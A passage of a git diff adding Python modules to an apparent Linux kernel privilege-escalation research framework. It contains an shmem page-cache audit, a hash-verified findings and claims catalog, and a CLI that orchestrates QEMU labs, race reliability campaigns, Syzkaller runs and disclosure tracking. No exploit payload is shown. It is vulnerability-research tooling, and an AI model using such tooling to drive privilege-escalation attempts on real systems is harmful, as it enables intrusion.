"ref": ref, + "revision": revision, + "source_facts": source_facts, + "source_fact_lines": { + "global_default": _source_line( + shmem, + r"static\s+int\s+shmem_huge\b[^=]*=", + ), + "policy_decision": _source_line( + shmem, + r"(?:shmem_is_huge|shmem_huge_enabled)\s*\(", + ), + "sysfs_control": _source_line( + shmem, + r"__ATTR\s*\(\s*shmem_enabled", + ), + "multi_index_store": ( + _source_line(shmem, re.escape(multi_index_store.group(0))) + if multi_index_store + else None + ), + "repeated_slot_store": ( + _source_line(shmem, re.escape(repeated_slot_store.group(0))) + if repeated_slot_store + else None + ), + }, + "artifacts": artifacts, + "static_source_chain": static_chain, + "ordinary_user_default": ordinary_status, + "administrator_provisioned_policy": administrator_status, + "root_only_setup": root_status, + } + ) + + classified = [_classify_shmem_observation(item) for item in observations] + distinctions = { + "representations_resolved": all( + row["source_facts"]["page_cache_representation"] != "unresolved" + for row in rows + ), + "repeated_slot_era_identified": any( + row["source_facts"]["page_cache_representation"] + == "repeated_order0_slots" + for row in rows + ), + "multi_index_boundary_identified": any( + row["source_facts"]["page_cache_representation"] == "multi_index_entry" + for row in rows + ), + "thp_not_equated_with_multi_index": all( + not row["static_source_chain"] + for row in rows + if row["source_facts"]["page_cache_representation"] + == "repeated_order0_slots" + ), + "runtime_observations_separate_representation": all( + not row["xarray_representation_observed"] for row in classified + ), + } + required = ( + distinctions["representations_resolved"] + and distinctions["thp_not_equated_with_multi_index"] + and distinctions["runtime_observations_separate_representation"] + ) + report: dict[str, object] = { + "schema_version": 2, + "title": "Dirty Crow early shmem page-cache representation audit", + "candidate_id": "early-shmem-page-cache-lineage", + "passed": required, + "source": { + "repository": str(repository.path), + "refs": ref_list, + }, + "variants": list(_SHMEM_POLICY_VARIANTS), + "source_rows": rows, + "runtime_observations": classified, + "acceptance": { + "distinctions": distinctions, + "required_checks_passed": required, + }, + "evidence_boundary": ( + "A shmem THP is not necessarily a multi-index XArray entry. Linux " + "4.20 through 5.16 insert each compound-page subpage into a separate " + "page-cache slot, so changing shmem THP policy cannot create the " + "multi-index producer required by the filemap Dirty Crow chain. " + "Linux 5.17 changes that representation to one multi-index entry; " + "pre-MADV_COLLAPSE reachability then remains policy or mount dependent. " + "Runtime ShmemPmdMapped observations prove THP backing and splitting " + "only, never the XArray representation by themselves." + ), + } + canonical = json.dumps(report, sort_keys=True, separators=(",", ":")).encode() + report["canonical_payload_sha256"] = hashlib.sha256(canonical).hexdigest() + return report diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/catalog.py b/dirty-crow-xarray-lpe/framework/dirtycrow/catalog.py new file mode 100644 index 0000000..12b2b5a --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/catalog.py @@ -0,0 +1,432 @@ +from __future__ import annotations + +import hashlib +import json +from datetime import date +from pathlib import Path, PurePosixPath, PureWindowsPath +import re +from typing import Any + +from .evidence import sha256_file, verify_manifest +from .strictjson import ( + expect_int, + expect_keys, + expect_list, + expect_object, + expect_sha256, + expect_string, + load_object, +) + +def _load_json(path: Path) -> dict[str, Any]: + with path.open("r", encoding="utf-8") as stream: + payload = json.load(stream) + if not isinstance(payload, dict): + raise ValueError(f"JSON root must be an object: {path}") + return payload + + +def _safe_path(root: Path, relative_value: str) -> Path: + relative = Path(relative_value) + if relative.is_absolute() or ".." in relative.parts: + raise ValueError(f"unsafe catalog path: {relative}") + target = (root / relative).resolve() + if root != target and root not in target.parents: + raise ValueError(f"catalog path escapes root: {relative}") + return target + + +def verify_finding_catalog(profile_path: Path, root: Path | None = None) -> dict[str, object]: + profile_path = profile_path.resolve() + root = (root or profile_path.parent.parent).resolve() + profile = _load_json(profile_path) + if profile.get("schema_version") != 1: + raise ValueError("unsupported finding catalog schema") + confirmed = profile.get("confirmed_vulnerabilities") + candidates = profile.get("unconfirmed_surfaces", []) + if not isinstance(confirmed, list) or not confirmed: + raise ValueError("catalog needs at least one confirmed vulnerability") + if not isinstance(candidates, list): + raise ValueError("unconfirmed_surfaces must be a list") + + checks: list[dict[str, object]] = [] + identifiers: set[str] = set() + for finding in confirmed: + if not isinstance(finding, dict): + raise ValueError("confirmed finding must be an object") + identifier = str(finding.get("id", "")) + unique = bool(identifier) and identifier not in identifiers + identifiers.add(identifier) + checks.append({"name": f"unique confirmed id {identifier}", "passed": unique}) + checks.append( + { + "name": f"confirmed status {identifier}", + "passed": finding.get("status") == "confirmed_exact_targets", + } + ) + evidence = finding.get("evidence") + if not isinstance(evidence, dict): + raise ValueError(f"finding evidence must be an object: {identifier}") + evidence_paths: dict[str, Path] = {} + for name in ("index", "final_verification", "standalone", "manifest"): + value = evidence.get(name) + if not isinstance(value, str): + raise ValueError(f"missing evidence path {name}: {identifier}") + target = _safe_path(root, value) + evidence_paths[name] = target + checks.append( + {"name": f"evidence file {identifier}:{name}", "passed": target.is_file()} + ) + + if evidence_paths["index"].is_file(): + index = _load_json(evidence_paths["index"]) + checks.append( + { + "name": f"runtime index confirmed {identifier}", + "passed": index.get("status") == "confirmed", + } + ) + if evidence_paths["final_verification"].is_file(): + final = _load_json(evidence_paths["final_verification"]) + checks.append( + { + "name": f"final verification passed {identifier}", + "passed": final.get("passed") is True + and final.get("failed_checks") == [], + } + ) + if evidence_paths["manifest"].is_file(): + manifest_report = verify_manifest(evidence_paths["manifest"]) + checks.append( + { + "name": f"immutable evidence hashes {identifier}", + "passed": manifest_report["passed"], + "check_count": manifest_report["check_count"], + "failed": manifest_report["failed"], + } + ) + + for candidate in candidates: + if not isinstance(candidate, dict): + raise ValueError("candidate finding must be an object") + status = str(candidate.get("status", "")) + checks.append( + { + "name": f"candidate not promoted {candidate.get('id', '')}", + "passed": "confirmed" not in status, + } + ) + + return { + "schema_version": 1, + "profile": str(profile_path), + "root": str(root), + "passed": all(bool(check["passed"]) for check in checks), + "confirmed_count": len(confirmed), + "candidate_count": len(candidates), + "check_count": len(checks), + "failed": [check["name"] for check in checks if not check["passed"]], + "checks": checks, + } + + +_CLAIM_ID = re.compile(r"[A-Z][A-Z0-9-]{2,63}") +_SNAPSHOT_ID = re.compile(r"[a-z0-9][a-z0-9._-]{2,127}") +_EVIDENCE_CLASSES = { + "source_static", + "deterministic_selftest", + "runtime_exact_target", + "runtime_kernel_corruption", + "runtime_controlled_instrumentation", + "public_status", +} +_CLAIM_AVAILABILITY = {"archived_complete", "archived_partial", "external_only"} +_ARTIFACT_AVAILABILITY = {"archived", "external_unavailable"} + + +def _iso_date(value: object, field: str) -> str: + text = expect_string(value, field) + try: + parsed = date.fromisoformat(text) + except ValueError as error: + raise ValueError(f"{field} must use YYYY-MM-DD") from error + if parsed.isoformat() != text: + raise ValueError(f"{field} must use YYYY-MM-DD") + return text + + +def _portable_reference(value: object, field: str) -> str: + text = expect_string(value, field) + pure = PurePosixPath(text) + if ( + pure.is_absolute() + or PureWindowsPath(text).drive + or not pure.parts + or ".." in pure.parts + or "\\" in text + or pure.as_posix() != text + or "://" in text + ): + raise ValueError(f"{field} must be a normalized project-relative reference") + return text + + +def verify_claim_catalog( + profile_path: Path, + root: Path | None = None, +) -> dict[str, object]: + profile_path = profile_path.resolve(strict=True) + root = (root or profile_path.parent.parent).resolve(strict=True) + if not root.is_dir(): + raise ValueError("claim catalog root must be a directory") + profile = load_object(profile_path) + expect_keys( + profile, + "claim catalog", + required={ + "schema_version", + "title", + "snapshot_id", + "as_of", + "current", + "supersedes", + "claims", + "boundary", + }, + ) + if expect_int(profile["schema_version"], "schema_version", 1, 1) != 1: + raise ValueError("unsupported claim catalog schema") + expect_string(profile["title"], "title") + snapshot_id = expect_string(profile["snapshot_id"], "snapshot_id") + if _SNAPSHOT_ID.fullmatch(snapshot_id) is None: + raise ValueError("snapshot_id is invalid") + as_of = _iso_date(profile["as_of"], "as_of") + if profile["current"] is not True: + raise ValueError("designated claim catalog must set current=true") + supersedes = expect_list(profile["supersedes"], "supersedes") + for index, value in enumerate(supersedes): + expect_string(value, f"supersedes[{index}]") + expect_string(profile["boundary"], "boundary") + claims = expect_list(profile["claims"], "claims") + if not claims: + raise ValueError("claim catalog must contain at least one claim") + + identifiers: set[str] = set() + checks: list[dict[str, object]] = [] + verified_claims: list[dict[str, object]] = [] + for claim_index, value in enumerate(claims): + claim = expect_object(value, f"claims[{claim_index}]") + expect_keys( + claim, + f"claims[{claim_index}]", + required={ + "claim_id", + "statement", + "scope", + "evidence_class", + "snapshot_id", + "artifacts", + "availability", + "last_reviewed", + "limitation", + }, + ) + identifier = expect_string(claim["claim_id"], f"claims[{claim_index}].claim_id") + if _CLAIM_ID.fullmatch(identifier) is None: + raise ValueError(f"invalid claim_id: {identifier}") + if identifier in identifiers: + raise ValueError(f"duplicate claim_id: {identifier}") + identifiers.add(identifier) + statement = expect_string( + claim["statement"], f"claims[{claim_index}].statement" + ) + scope = expect_string(claim["scope"], f"claims[{claim_index}].scope") + evidence_class = expect_string( + claim["evidence_class"], f"claims[{claim_index}].evidence_class" + ) + if evidence_class not in _EVIDENCE_CLASSES: + raise ValueError(f"invalid evidence_class for {identifier}") + if claim["snapshot_id"] != snapshot_id: + raise ValueError(f"snapshot_id mismatch for {identifier}") + availability = expect_string( + claim["availability"], f"claims[{claim_index}].availability" + ) + if availability not in _CLAIM_AVAILABILITY: + raise ValueError(f"invalid availability for {identifier}") + last_reviewed = _iso_date( + claim["last_reviewed"], f"claims[{claim_index}].last_reviewed" + ) + if last_reviewed > as_of: + raise ValueError(f"last_reviewed exceeds as_of for {identifier}") + limitation = expect_string( + claim["limitation"], f"claims[{claim_index}].limitation" + ) + artifacts = expect_list( + claim["artifacts"], f"claims[{claim_index}].artifacts" + ) + if not artifacts: + raise ValueError(f"claim has no artifacts: {identifier}") + + artifact_rows: list[dict[str, object]] = [] + archived_count = 0 + for artifact_index, artifact_value in enumerate(artifacts): + artifact = expect_object( + artifact_value, + f"claims[{claim_index}].artifacts[{artifact_index}]", + ) + expect_keys( + artifact, + f"claims[{claim_index}].artifacts[{artifact_index}]", + required={"reference", "sha256", "availability", "note"}, + ) + reference = _portable_reference( + artifact["reference"], + f"claims[{claim_index}].artifacts[{artifact_index}].reference", + ) + expected = expect_sha256( + artifact["sha256"], + f"claims[{claim_index}].artifacts[{artifact_index}].sha256", + ) + artifact_availability = expect_string( + artifact["availability"], + f"claims[{claim_index}].artifacts[{artifact_index}].availability", + ) + if artifact_availability not in _ARTIFACT_AVAILABILITY: + raise ValueError(f"invalid artifact availability: {reference}") + note = expect_string( + artifact["note"], + f"claims[{claim_index}].artifacts[{artifact_index}].note", + ) + actual: str | None = None + exists = False + if artifact_availability == "archived": + target = _safe_path(root, reference) + exists = target.is_file() + actual = sha256_file(target) if exists else None + archived_count += 1 + passed = ( + actual == expected + if artifact_availability == "archived" + else True + ) + checks.append( + { + "name": f"artifact {identifier}:{reference}", + "passed": passed, + "availability": artifact_availability, + "exists": exists, + "expected_sha256": expected, + "actual_sha256": actual, + } + ) + artifact_rows.append( + { + "reference": reference, + "sha256": expected, + "availability": artifact_availability, + "note": note, + } + ) + + if availability == "archived_complete" and archived_count != len(artifacts): + raise ValueError(f"availability mismatch for {identifier}") + if availability == "external_only" and archived_count: + raise ValueError(f"availability mismatch for {identifier}") + if availability == "archived_partial" and not 0 < archived_count < len(artifacts): + raise ValueError(f"availability mismatch for {identifier}") + verified_claims.append( + { + "claim_id": identifier, + "statement": statement, + "scope": scope, + "evidence_class": evidence_class, + "availability": availability, + "last_reviewed": last_reviewed, + "limitation": limitation, + "artifacts": artifact_rows, + } + ) + + return { + "schema_version": 1, + "profile": str(profile_path), + "root": str(root), + "snapshot_id": snapshot_id, + "as_of": as_of, + "passed": all(bool(check["passed"]) for check in checks), + "claim_count": len(verified_claims), + "check_count": len(checks), + "failed": [check["name"] for check in checks if not check["passed"]], + "checks": checks, + "claims": verified_claims, + } + + +def _markdown_cell(value: str) -> str: + return value.replace("|", "\\|") + + +def write_claim_overview( + profile_path: Path, + output_path: Path, + root: Path | None = None, +) -> dict[str, object]: + report = verify_claim_catalog(profile_path, root) + if not report["passed"]: + raise ValueError("claim catalog contains unavailable or hash-mismatched artifacts") + project_root = Path(report["root"]) + profile_reference = Path(report["profile"]).relative_to(project_root).as_posix() + lines = [ + "# Dirty Crow current claims", + "", + f"Generated from `{profile_reference}`.", + "", + f"- Snapshot: `{report['snapshot_id']}`", + f"- As of: `{report['as_of']}`", + "- Evidence classes distinguish source facts, deterministic selftests, " + "controlled-instrumentation executions, exact-target runtime observations, " + "kernel-corruption observations, and public status.", + "", + "| Claim | Exact statement | Scope | Evidence class | Availability | Last reviewed | Limitation |", + "|---|---|---|---|---|---|---|", + ] + for claim in report["claims"]: + lines.append( + "| " + + " | ".join( + _markdown_cell(str(claim[field])) + for field in ( + "claim_id", + "statement", + "scope", + "evidence_class", + "availability", + "last_reviewed", + "limitation", + ) + ) + + " |" + ) + lines.extend(["", "## Artifact trace", ""]) + for claim in report["claims"]: + lines.extend([f"### {claim['claim_id']}", ""]) + for artifact in claim["artifacts"]: + lines.append( + f"- `{artifact['reference']}` — `{artifact['sha256']}` " + f"({artifact['availability']}): {artifact['note']}" + ) + lines.append("") + rendered = "\n".join(lines) + output_path = output_path.resolve() + output_path.parent.mkdir(parents=True, exist_ok=True) + temporary = output_path.with_name(output_path.name + ".tmp") + temporary.write_text(rendered, encoding="utf-8", newline="\n") + temporary.replace(output_path) + return { + **report, + "overview": { + "path": str(output_path), + "sha256": hashlib.sha256(rendered.encode("utf-8")).hexdigest(), + "size": len(rendered.encode("utf-8")), + }, + } diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/cli.py b/dirty-crow-xarray-lpe/framework/dirtycrow/cli.py new file mode 100644 index 0000000..7529a55 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/cli.py @@ -0,0 +1,728 @@ +from __future__ import annotations + +import argparse +import json +import sys +from pathlib import Path + +from .acquire import acquire_profile, load_acquisition_profile +from .audit import GitError, audit_repository, write_audit +from .benchmark import run_fix_benchmark +from .backports import audit_vendor_backports +from .catalog import ( + verify_claim_catalog, + verify_finding_catalog, + write_claim_overview, +) +from .bundle import build_reproduction_bundle +from .candidates import ( + audit_fscache_private2, + audit_early_shmem_lineage, + run_privileged_swapoff_correctness, + run_same_mapping_io_selection, + run_v420_dax_transition, +) +from .compare import build_comparison_plan, load_comparison_profile, run_comparison +from .disclosure import verify_disclosure_tracker +from .evidence import verify_manifest +from .lab import build_qemu_plan, load_lab_profile, run_lab +from .geometry import validate_geometry_matrix +from .lineage import discover_vulnerable_intervals +from .model import verify_fix_model +from .runs import ( + complete_step, + create_run, + fail_step, + load_run, + next_ready_step, + resume_run, + start_step, +) +from .reliability import ( + build_reliability_plan, + load_reliability_profile, + run_reliability_campaign, +) +from .reports import generate_finding_reports +from .signing import ( + generate_minisign_keypair, + sign_with_minisign, + verify_minisign_signature, +) +from .runtime_evidence import collect_runtime_evidence +from .syzkaller import ( + catalog_crashes, + run_syz_repro, + stage_seed_corpus, + write_manager_config, +) +from .targets import ( + load_target_profile, + validate_target_matrix, + validate_target_profile, +) +from .toolchain import ( + generate_supply_chain_metadata, + verify_toolchain_lock, +) +from .trace import decode_kernel_logs + + +def _emit(payload: dict[str, object], output: Path | None) -> None: + rendered = json.dumps(payload, indent=2, sort_keys=True) + "\n" + if output: + output.parent.mkdir(parents=True, exist_ok=True) + output.write_text(rendered, encoding="utf-8") + else: + sys.stdout.write(rendered) + +def _load_json_object(path: Path, label: str) -> dict[str, object]: + payload = json.loads(path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise ValueError(f"{label} must be a JSON object") + return payload + + +def build_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser(prog="dirty-crow") + subparsers = parser.add_subparsers(dest="command", required=True) + + audit = subparsers.add_parser( + "audit", help="audit XArray iterator callsites across kernel refs" + ) + audit.add_argument("--repo", type=Path, required=True) + audit.add_argument("--refs", nargs="+", required=True) + audit.add_argument("--raw-remote") + audit.add_argument("--source-cache", type=Path) + audit.add_argument("--output", type=Path) + + model = subparsers.add_parser( + "model", help="verify full-width xas_find cursor transitions" + ) + model.add_argument("--bits", nargs="+", type=int, default=[32, 64]) + model.add_argument("--shifts", nargs="+", type=int) + model.add_argument("--compiler") + model.add_argument("--output", type=Path) + + benchmark = subparsers.add_parser( + "benchmark", help="measure the XArray candidate fix with GCC and Clang" + ) + benchmark.add_argument("--kernel-source", type=Path, required=True) + benchmark.add_argument("--baseline-ref", default="HEAD") + benchmark.add_argument("--samples", type=int, default=9) + benchmark.add_argument("--gcc") + benchmark.add_argument("--clang") + benchmark.add_argument("--output", type=Path) + + verify = subparsers.add_parser("verify", help="verify imported evidence hashes") + verify.add_argument("--manifest", type=Path, required=True) + verify.add_argument("--root", type=Path) + verify.add_argument("--output", type=Path) + + lineage = subparsers.add_parser( + "lineage", help="discover exact XArray/filemap source-history intervals" + ) + lineage.add_argument("--repo", type=Path, required=True) + lineage.add_argument("--ref", required=True) + lineage.add_argument("--output", type=Path) + + backports = subparsers.add_parser( + "backports", help="audit semantic vendor fix/backport state" + ) + backports.add_argument("--profile", type=Path, required=True) + backports.add_argument("--store", type=Path, required=True) + backports.add_argument("--output", type=Path) + disclosure = subparsers.add_parser( + "disclosure", help="verify disclosure, fix, advisory, and retest state" + ) + disclosure.add_argument("--tracker", type=Path, required=True) + disclosure.add_argument("--matrix", type=Path, required=True) + disclosure.add_argument("--backend-registry", type=Path, required=True) + disclosure.add_argument("--output", type=Path) + + catalog = subparsers.add_parser( + "catalog", help="verify named findings against immutable evidence" + ) + catalog.add_argument("--profile", type=Path, required=True) + catalog.add_argument("--root", type=Path) + catalog.add_argument("--output", type=Path) + claims = subparsers.add_parser( + "claims", help="verify the dated claim catalog and render its overview" + ) + claims.add_argument("--profile", type=Path, required=True) + claims.add_argument("--root", type=Path) + claims.add_argument("--overview", type=Path) + claims.add_argument("--output", type=Path) + + acquire = subparsers.add_parser( + "acquire", help="acquire exact hash-pinned target artifacts" + ) + acquire.add_argument("--profile", type=Path, required=True) + acquire.add_argument("--store", type=Path, required=True) + acquire.add_argument("--timeout", type=int, default=60) + acquire.add_argument("--output", type=Path) + + compare = subparsers.add_parser( + "compare", help="plan or run a vulnerable/fixed/control comparison" + ) + compare_actions = compare.add_subparsers(dest="compare_command", required=True) + compare_plan = compare_actions.add_parser( + "plan", help="validate and emit an A/B comparison plan" + ) + compare_plan.add_argument("--profile", type=Path, required=True) + compare_plan.add_argument("--output", type=Path) + compare_run = compare_actions.add_parser( + "run", help="execute the complete A/B comparison" + ) + compare_run.add_argument("--profile", type=Path, required=True) + compare_run.add_argument("--output-dir", type=Path, required=True) + compare_run.add_argument("--output", type=Path) + + reliability = subparsers.add_parser( + "reliability", help="plan or run repeated clean-boot race attempts" + ) + reliability_actions = reliability.add_subparsers( + dest="reliability_command", required=True + ) + reliability_plan = reliability_actions.add_parser( + "plan", help="validate and emit a race reliability campaign plan" + ) + reliability_plan.add_argument("--profile", type=Path, required=True) + reliability_plan.add_argument("--output", type=Path) + reliability_run = reliability_actions.add_parser( + "run", help="execute a repeated clean-boot race campaign" + ) + reliability_run.add_argument("--profile", type=Path, required=True) + reliability_run.add_argument("--output-dir", type=Path, required=True) + reliability_run.add_argument("--output", type=Path) + + evidence = subparsers.add_parser( + "evidence", help="collect structured evidence from a guest console" + ) + evidence.add_argument("--console", type=Path, required=True) + evidence.add_argument("--target-id", required=True) + evidence.add_argument( + "--action", + choices=("probe", "legacy-trigger", "backstep-proof"), + required=True, + ) + evidence.add_argument("--output", type=Path) + + lab = subparsers.add_parser("lab", help="plan or run an isolated QEMU lab target") + lab_actions = lab.add_subparsers(dest="lab_command", required=True) + lab_plan = lab_actions.add_parser( + "plan", help="validate a target and emit its QEMU plan" + ) + lab_plan.add_argument("--profile", type=Path, required=True) + lab_plan.add_argument("--output", type=Path) + lab_run = lab_actions.add_parser( + "run", help="execute a target with host-owned recovery" + ) + lab_run.add_argument("--profile", type=Path, required=True) + lab_run.add_argument("--output-dir", type=Path, required=True) + lab_run.add_argument("--output", type=Path) + + target = subparsers.add_parser( + "target", help="validate declarative target and backend compatibility" + ) + target_actions = target.add_subparsers(dest="target_command", required=True) + target_validate = target_actions.add_parser("validate") + target_validate.add_argument("--profile", type=Path, required=True) + target_validate.add_argument("--backend-registry", type=Path, required=True) + target_validate.add_argument("--output", type=Path) + target_matrix = target_actions.add_parser("matrix") + target_matrix.add_argument("--matrix", type=Path, required=True) + target_matrix.add_argument("--backend-registry", type=Path, required=True) + target_matrix.add_argument("--output", type=Path) + + geometry = subparsers.add_parser( + "geometry", help="validate booted architecture and page-size geometries" + ) + geometry_actions = geometry.add_subparsers( + dest="geometry_command", required=True + ) + geometry_validate = geometry_actions.add_parser("validate") + geometry_validate.add_argument("--matrix", type=Path, required=True) + geometry_validate.add_argument("--backend-registry", type=Path, required=True) + geometry_validate.add_argument("--output", type=Path) + + trace = subparsers.add_parser("trace", help="decode kernel trace and crash logs") + trace_actions = trace.add_subparsers(dest="trace_command", required=True) + trace_decode = trace_actions.add_parser("decode") + trace_decode.add_argument("--logs", nargs="+", type=Path, required=True) + trace_decode.add_argument("--vmlinux", type=Path) + trace_decode.add_argument("--output", type=Path) + + candidate = subparsers.add_parser( + "candidate", help="run bounded candidate-subsystem harnesses" + ) + candidate_actions = candidate.add_subparsers( + dest="candidate_command", required=True + ) + for name in ("same-mapping", "swapoff"): + harness = candidate_actions.add_parser(name) + harness.add_argument("--kernel-source", type=Path, required=True) + harness.add_argument("--baseline-ref", default="v7.2") + harness.add_argument("--gcc") + harness.add_argument("--clang") + harness.add_argument("--output", type=Path) + candidate_v420_dax = candidate_actions.add_parser("v420-dax") + candidate_v420_dax.add_argument("--kernel-source", type=Path, required=True) + candidate_v420_dax.add_argument("--baseline-ref", default="v4.20") + candidate_v420_dax.add_argument("--gcc") + candidate_v420_dax.add_argument("--clang") + candidate_v420_dax.add_argument("--output", type=Path) + candidate_fscache = candidate_actions.add_parser("fscache") + candidate_fscache.add_argument("--kernel-source", type=Path, required=True) + candidate_fscache.add_argument("--ref", default="v7.2") + candidate_fscache.add_argument("--output", type=Path) + candidate_shmem = candidate_actions.add_parser("early-shmem-lineage") + candidate_shmem.add_argument("--kernel-source", type=Path, required=True) + candidate_shmem.add_argument("--refs", nargs="+") + candidate_shmem.add_argument("--output", type=Path) + + syzkaller = subparsers.add_parser( + "syzkaller", help="generate, seed, minimize, and catalog Syzkaller runs" + ) + syzkaller_actions = syzkaller.add_subparsers( + dest="syzkaller_command", required=True + ) + syzkaller_config = syzkaller_actions.add_parser("config") + syzkaller_config.add_argument("--profile", type=Path, required=True) + syzkaller_config.add_argument("--config-output", type=Path, required=True) + syzkaller_config.add_argument("--output", type=Path) + syzkaller_seed = syzkaller_actions.add_parser("seed") + syzkaller_seed.add_argument("--destination", type=Path, required=True) + syzkaller_seed.add_argument("--syz-db", type=Path) + syzkaller_seed.add_argument("--target-os", default="linux") + syzkaller_seed.add_argument("--target-arch", default="amd64") + syzkaller_seed.add_argument("--output", type=Path) + syzkaller_repro = syzkaller_actions.add_parser("repro") + syzkaller_repro.add_argument("--syz-repro", type=Path, required=True) + syzkaller_repro.add_argument("--manager-config", type=Path, required=True) + syzkaller_repro.add_argument("--execution-log", type=Path, required=True) + syzkaller_repro.add_argument("--destination", type=Path, required=True) + syzkaller_repro.add_argument("--vm-count", type=int) + syzkaller_repro.add_argument("--timeout", type=int, default=1800) + syzkaller_repro.add_argument("--output", type=Path) + syzkaller_crashes = syzkaller_actions.add_parser("crashes") + syzkaller_crashes.add_argument("--workdir", type=Path, required=True) + syzkaller_crashes.add_argument("--output", type=Path) + + state = subparsers.add_parser("state", help="manage resumable run state") + state_actions = state.add_subparsers(dest="state_command", required=True) + state_create = state_actions.add_parser("create") + state_create.add_argument("--store", type=Path, required=True) + state_create.add_argument("--plan", type=Path, required=True) + state_create.add_argument("--output", type=Path) + state_show = state_actions.add_parser("show") + state_show.add_argument("--store", type=Path, required=True) + state_show.add_argument("--run-id", required=True) + state_show.add_argument("--output", type=Path) + state_next = state_actions.add_parser("next") + state_next.add_argument("--store", type=Path, required=True) + state_next.add_argument("--run-id", required=True) + state_next.add_argument("--output", type=Path) + for name in ("start", "complete", "fail"): + mutation = state_actions.add_parser(name) + mutation.add_argument("--store", type=Path, required=True) + mutation.add_argument("--run-id", required=True) + mutation.add_argument("--step", required=True) + mutation.add_argument("--output", type=Path) + if name == "complete": + mutation.add_argument("--artifacts", nargs="*", type=Path, default=[]) + elif name == "fail": + mutation.add_argument("--error", required=True) + state_resume = state_actions.add_parser("resume") + state_resume.add_argument("--store", type=Path, required=True) + state_resume.add_argument("--run-id", required=True) + state_resume.add_argument("--output", type=Path) + + report = subparsers.add_parser( + "report", help="generate evidence-bound internal and maintainer reports" + ) + report_actions = report.add_subparsers( + dest="report_command", required=True + ) + report_build = report_actions.add_parser("build") + report_build.add_argument("--profile", type=Path, required=True) + report_build.add_argument("--root", type=Path, required=True) + report_build.add_argument("--output-dir", type=Path, required=True) + report_build.add_argument("--output", type=Path) + + bundle = subparsers.add_parser( + "bundle", help="build signed independent reproduction bundles" + ) + bundle_actions = bundle.add_subparsers(dest="bundle_command", required=True) + bundle_build = bundle_actions.add_parser("build") + bundle_build.add_argument("--profile", type=Path, required=True) + bundle_build.add_argument("--root", type=Path, required=True) + bundle_build.add_argument("--output-dir", type=Path, required=True) + bundle_build.add_argument("--secret-key", type=Path, required=True) + bundle_build.add_argument("--public-key", type=Path, required=True) + bundle_build.add_argument("--minisign", default="minisign") + bundle_build.add_argument("--output", type=Path) + + sign = subparsers.add_parser( + "sign", help="create and verify offline Minisign signatures" + ) + sign_actions = sign.add_subparsers(dest="sign_command", required=True) + sign_keygen = sign_actions.add_parser("keygen") + sign_keygen.add_argument("--secret-key", type=Path, required=True) + sign_keygen.add_argument("--public-key", type=Path, required=True) + sign_keygen.add_argument("--minisign", default="minisign") + sign_keygen.add_argument("--output", type=Path) + sign_create = sign_actions.add_parser("create") + sign_create.add_argument("--artifact", type=Path, required=True) + sign_create.add_argument("--signature", type=Path, required=True) + sign_create.add_argument("--secret-key", type=Path, required=True) + sign_create.add_argument("--public-key", type=Path, required=True) + sign_create.add_argument("--trusted-comment", required=True) + sign_create.add_argument("--minisign", default="minisign") + sign_create.add_argument("--output", type=Path) + sign_verify = sign_actions.add_parser("verify") + sign_verify.add_argument("--artifact", type=Path, required=True) + sign_verify.add_argument("--signature", type=Path, required=True) + sign_verify.add_argument("--public-key", type=Path, required=True) + sign_verify.add_argument("--minisign", default="minisign") + sign_verify.add_argument("--output", type=Path) + + toolchain = subparsers.add_parser( + "toolchain", help="verify reproducible dependency and source locks" + ) + toolchain_actions = toolchain.add_subparsers( + dest="toolchain_command", required=True + ) + toolchain_verify = toolchain_actions.add_parser("verify") + toolchain_verify.add_argument("--lock", type=Path, required=True) + toolchain_verify.add_argument("--root", type=Path) + toolchain_verify.add_argument("--output", type=Path) + toolchain_metadata = toolchain_actions.add_parser( + "metadata", help="generate deterministic SPDX and SLSA input metadata" + ) + toolchain_metadata.add_argument("--lock", type=Path, required=True) + toolchain_metadata.add_argument("--root", type=Path, required=True) + toolchain_metadata.add_argument("--sbom", type=Path, required=True) + toolchain_metadata.add_argument("--provenance", type=Path, required=True) + toolchain_metadata.add_argument("--output", type=Path) + return parser + + +def main(argv: list[str] | None = None) -> int: + args = build_parser().parse_args(argv) + try: + if args.command == "audit": + report = audit_repository( + args.repo, + args.refs, + raw_remote=args.raw_remote, + source_cache=args.source_cache, + ) + if args.output: + write_audit(report, args.output) + else: + _emit(report, None) + return 0 if report["passed"] else 1 + if args.command == "model": + report = verify_fix_model( + bits=args.bits, shifts=args.shifts, compiler=args.compiler + ) + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "benchmark": + report = run_fix_benchmark( + args.kernel_source, + baseline_ref=args.baseline_ref, + samples=args.samples, + gcc=args.gcc, + clang=args.clang, + ) + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "verify": + report = verify_manifest(args.manifest, args.root) + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "lineage": + report = discover_vulnerable_intervals(args.repo, args.ref) + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "backports": + report = audit_vendor_backports(args.profile, args.store) + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "disclosure": + report = verify_disclosure_tracker( + args.tracker, + args.matrix, + args.backend_registry, + ) + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "catalog": + report = verify_finding_catalog(args.profile, args.root) + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "claims": + if args.overview is None: + report = verify_claim_catalog(args.profile, args.root) + else: + report = write_claim_overview( + args.profile, args.overview, args.root + ) + _emit(report, args.output) + return 0 if report["passed"] else 1 + if args.command == "acquire": + profile = load_acquisition_profile(args.profile) + report = acquire_profile(profile, args.store, timeout_seconds=args.timeout) + _emit(report, args.output) + return 0 + if args.command == "evidence": + report = collect_runtime_evidence( + args.console, + target_id=args.target_id, + action=args.action, + ) + _emit(report, args.output) + return 0 + if args.command == "compare": + profile = load_comparison_profile(args.profile) + if args.compare_command == "plan": + report = build_comparison_plan(profile) + _emit(report, args.output) + return 0 + if args.compare_command == "run": + report = run_comparison(profile, args.output_dir) + _emit(report, args.output) + return 0 if report["passed"] else 1 + raise AssertionError("unreachable compare command") + if args.command == "reliability": + profile = load_reliability_profile(args.profile) + if args.reliability_command == "plan": + report = build_reliability_plan(profile) + _emit(report, args.output) + return 0 + if args.reliability_command == "run": + report = run_reliability_campaign(profile, args.output_dir) + _emit(report, args.output) + return 0 if 